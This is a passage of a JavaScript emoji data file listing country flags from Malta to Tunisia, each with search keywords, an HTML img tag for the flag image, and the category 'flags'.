    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf2\ud83c\uddf9" src="1f1f2-1f1f9.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  marshall_islands: {
    keywords: [ "marshall", "islands", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf2\ud83c\udded" src="1f1f2-1f1ed.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  martinique: {
    keywords: [ "mq", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf2\ud83c\uddf6" src="1f1f2-1f1f6.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  mauritania: {
    keywords: [ "mr", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf2\ud83c\uddf7" src="1f1f2-1f1f7.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  mauritius: {
    keywords: [ "mu", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf2\ud83c\uddfa" src="1f1f2-1f1fa.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  mayotte: {
    keywords: [ "yt", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddfe\ud83c\uddf9" src="1f1fe-1f1f9.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  mexico: {
    keywords: [ "mx", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf2\ud83c\uddfd" src="1f1f2-1f1fd.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  micronesia: {
    keywords: [ "micronesia,", "federated", "states", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddeb\ud83c\uddf2" src="1f1eb-1f1f2.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  moldova: {
    keywords: [ "moldova,", "republic", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf2\ud83c\udde9" src="1f1f2-1f1e9.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  monaco: {
    keywords: [ "mc", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf2\ud83c\udde8" src="1f1f2-1f1e8.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  mongolia: {
    keywords: [ "mn", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf2\ud83c\uddf3" src="1f1f2-1f1f3.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  montenegro: {
    keywords: [ "me", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf2\ud83c\uddea" src="1f1f2-1f1ea.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  montserrat: {
    keywords: [ "ms", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf2\ud83c\uddf8" src="1f1f2-1f1f8.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  morocco: {
    keywords: [ "ma", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf2\ud83c\udde6" src="1f1f2-1f1e6.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  mozambique: {
    keywords: [ "mz", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf2\ud83c\uddff" src="1f1f2-1f1ff.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  myanmar: {
    keywords: [ "mm", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf2\ud83c\uddf2" src="1f1f2-1f1f2.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  namibia: {
    keywords: [ "na", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf3\ud83c\udde6" src="1f1f3-1f1e6.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  nauru: {
    keywords: [ "nr", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf3\ud83c\uddf7" src="1f1f3-1f1f7.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  nepal: {
    keywords: [ "np", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf3\ud83c\uddf5" src="1f1f3-1f1f5.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  netherlands: {
    keywords: [ "nl", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf3\ud83c\uddf1" src="1f1f3-1f1f1.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  new_caledonia: {
    keywords: [ "new", "caledonia", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf3\ud83c\udde8" src="1f1f3-1f1e8.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  new_zealand: {
    keywords: [ "new", "zealand", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf3\ud83c\uddff" src="1f1f3-1f1ff.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  nicaragua: {
    keywords: [ "ni", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf3\ud83c\uddee" src="1f1f3-1f1ee.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  niger: {
    keywords: [ "ne", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf3\ud83c\uddea" src="1f1f3-1f1ea.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  nigeria: {
    keywords: [ "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf3\ud83c\uddec" src="1f1f3-1f1ec.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  niue: {
    keywords: [ "nu", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf3\ud83c\uddfa" src="1f1f3-1f1fa.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  norfolk_island: {
    keywords: [ "norfolk", "island", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf3\ud83c\uddeb" src="1f1f3-1f1eb.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  northern_mariana_islands: {
    keywords: [ "northern", "mariana", "islands", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf2\ud83c\uddf5" src="1f1f2-1f1f5.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  north_korea: {
    keywords: [ "north", "korea", "nation", "flag", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf0\ud83c\uddf5" src="1f1f0-1f1f5.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  norway: {
    keywords: [ "no", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf3\ud83c\uddf4" src="1f1f3-1f1f4.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  oman: {
    keywords: [ "om_symbol", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf4\ud83c\uddf2" src="1f1f4-1f1f2.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  pakistan: {
    keywords: [ "pk", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf5\ud83c\uddf0" src="1f1f5-1f1f0.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  palau: {
    keywords: [ "pw", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf5\ud83c\uddfc" src="1f1f5-1f1fc.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  palestinian_territories: {
    keywords: [ "palestine", "palestinian", "territories", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf5\ud83c\uddf8" src="1f1f5-1f1f8.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  panama: {
    keywords: [ "pa", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf5\ud83c\udde6" src="1f1f5-1f1e6.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  papua_new_guinea: {
    keywords: [ "papua", "new", "guinea", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf5\ud83c\uddec" src="1f1f5-1f1ec.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  paraguay: {
    keywords: [ "py", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf5\ud83c\uddfe" src="1f1f5-1f1fe.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  peru: {
    keywords: [ "pe", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf5\ud83c\uddea" src="1f1f5-1f1ea.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  philippines: {
    keywords: [ "ph", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf5\ud83c\udded" src="1f1f5-1f1ed.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  pitcairn_islands: {
    keywords: [ "pitcairn", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf5\ud83c\uddf3" src="1f1f5-1f1f3.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  poland: {
    keywords: [ "pl", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf5\ud83c\uddf1" src="1f1f5-1f1f1.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  portugal: {
    keywords: [ "pt", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf5\ud83c\uddf9" src="1f1f5-1f1f9.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  puerto_rico: {
    keywords: [ "puerto", "rico", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf5\ud83c\uddf7" src="1f1f5-1f1f7.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  qatar: {
    keywords: [ "qa", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf6\ud83c\udde6" src="1f1f6-1f1e6.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  reunion: {
    keywords: [ "r\xe9union", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf7\ud83c\uddea" src="1f1f7-1f1ea.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  romania: {
    keywords: [ "ro", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf7\ud83c\uddf4" src="1f1f7-1f1f4.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  ru: {
    keywords: [ "russian", "federation", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf7\ud83c\uddfa" src="1f1f7-1f1fa.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  rwanda: {
    keywords: [ "rw", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf7\ud83c\uddfc" src="1f1f7-1f1fc.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  st_barthelemy: {
    keywords: [ "saint", "barth\xe9lemy", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde7\ud83c\uddf1" src="1f1e7-1f1f1.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  st_helena: {
    keywords: [ "saint", "helena", "ascension", "tristan", "cunha", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf8\ud83c\udded" src="1f1f8-1f1ed.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  st_kitts_nevis: {
    keywords: [ "saint", "kitts", "nevis", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf0\ud83c\uddf3" src="1f1f0-1f1f3.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  st_lucia: {
    keywords: [ "saint", "lucia", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf1\ud83c\udde8" src="1f1f1-1f1e8.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  st_pierre_miquelon: {
    keywords: [ "saint", "pierre", "miquelon", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf5\ud83c\uddf2" src="1f1f5-1f1f2.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  st_vincent_grenadines: {
    keywords: [ "saint", "vincent", "grenadines", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddfb\ud83c\udde8" src="1f1fb-1f1e8.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  samoa: {
    keywords: [ "ws", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddfc\ud83c\uddf8" src="1f1fc-1f1f8.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  san_marino: {
    keywords: [ "san", "marino", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf8\ud83c\uddf2" src="1f1f8-1f1f2.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  sao_tome_principe: {
    keywords: [ "sao", "tome", "principe", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf8\ud83c\uddf9" src="1f1f8-1f1f9.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  saudi_arabia: {
    keywords: [ "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf8\ud83c\udde6" src="1f1f8-1f1e6.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  senegal: {
    keywords: [ "sn", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf8\ud83c\uddf3" src="1f1f8-1f1f3.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  serbia: {
    keywords: [ "rs", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf7\ud83c\uddf8" src="1f1f7-1f1f8.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  seychelles: {
    keywords: [ "sc", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf8\ud83c\udde8" src="1f1f8-1f1e8.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  sierra_leone: {
    keywords: [ "sierra", "leone", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf8\ud83c\uddf1" src="1f1f8-1f1f1.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  singapore: {
    keywords: [ "sg", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf8\ud83c\uddec" src="1f1f8-1f1ec.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  sint_maarten: {
    keywords: [ "sint", "maarten", "dutch", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf8\ud83c\uddfd" src="1f1f8-1f1fd.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  slovakia: {
    keywords: [ "sk", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf8\ud83c\uddf0" src="1f1f8-1f1f0.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  slovenia: {
    keywords: [ "si", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf8\ud83c\uddee" src="1f1f8-1f1ee.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  solomon_islands: {
    keywords: [ "solomon", "islands", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf8\ud83c\udde7" src="1f1f8-1f1e7.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  somalia: {
    keywords: [ "so", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf8\ud83c\uddf4" src="1f1f8-1f1f4.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  south_africa: {
    keywords: [ "south", "africa", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddff\ud83c\udde6" src="1f1ff-1f1e6.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  south_georgia_south_sandwich_islands: {
    keywords: [ "south", "georgia", "sandwich", "islands", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddec\ud83c\uddf8" src="1f1ec-1f1f8.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  kr: {
    keywords: [ "south", "korea", "nation", "flag", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf0\ud83c\uddf7" src="1f1f0-1f1f7.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  south_sudan: {
    keywords: [ "south", "sd", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf8\ud83c\uddf8" src="1f1f8-1f1f8.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  es: {
    keywords: [ "spain", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddea\ud83c\uddf8" src="1f1ea-1f1f8.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  sri_lanka: {
    keywords: [ "sri", "lanka", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf1\ud83c\uddf0" src="1f1f1-1f1f0.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  sudan: {
    keywords: [ "sd", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf8\ud83c\udde9" src="1f1f8-1f1e9.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  suriname: {
    keywords: [ "sr", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf8\ud83c\uddf7" src="1f1f8-1f1f7.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  swaziland: {
    keywords: [ "sz", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf8\ud83c\uddff" src="1f1f8-1f1ff.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  sweden: {
    keywords: [ "se", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf8\ud83c\uddea" src="1f1f8-1f1ea.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  switzerland: {
    keywords: [ "ch", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde8\ud83c\udded" src="1f1e8-1f1ed.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  syria: {
    keywords: [ "syrian", "arab", "republic", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf8\ud83c\uddfe" src="1f1f8-1f1fe.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  taiwan: {
    keywords: [ "tw", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf9\ud83c\uddfc" src="1f1f9-1f1fc.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  tajikistan: {
    keywords: [ "tj", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf9\ud83c\uddef" src="1f1f9-1f1ef.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  tanzania: {
    keywords: [ "tanzania,", "united", "republic", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf9\ud83c\uddff" src="1f1f9-1f1ff.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  thailand: {
    keywords: [ "th", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf9\ud83c\udded" src="1f1f9-1f1ed.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  timor_leste: {
    keywords: [ "timor", "leste", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf9\ud83c\uddf1" src="1f1f9-1f1f1.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  togo: {
    keywords: [ "tg", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf9\ud83c\uddec" src="1f1f9-1f1ec.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  tokelau: {
    keywords: [ "tk", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf9\ud83c\uddf0" src="1f1f9-1f1f0.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  tonga: {
    keywords: [ "to", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf9\ud83c\uddf4" src="1f1f9-1f1f4.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  trinidad_tobago: {
    keywords: [ "trinidad", "tobago", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf9\ud83c\uddf9" src="1f1f9-1f1f9.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  tunisia: {
    keywords: [ "tn", "flag", "nation", "country", "banner" ],
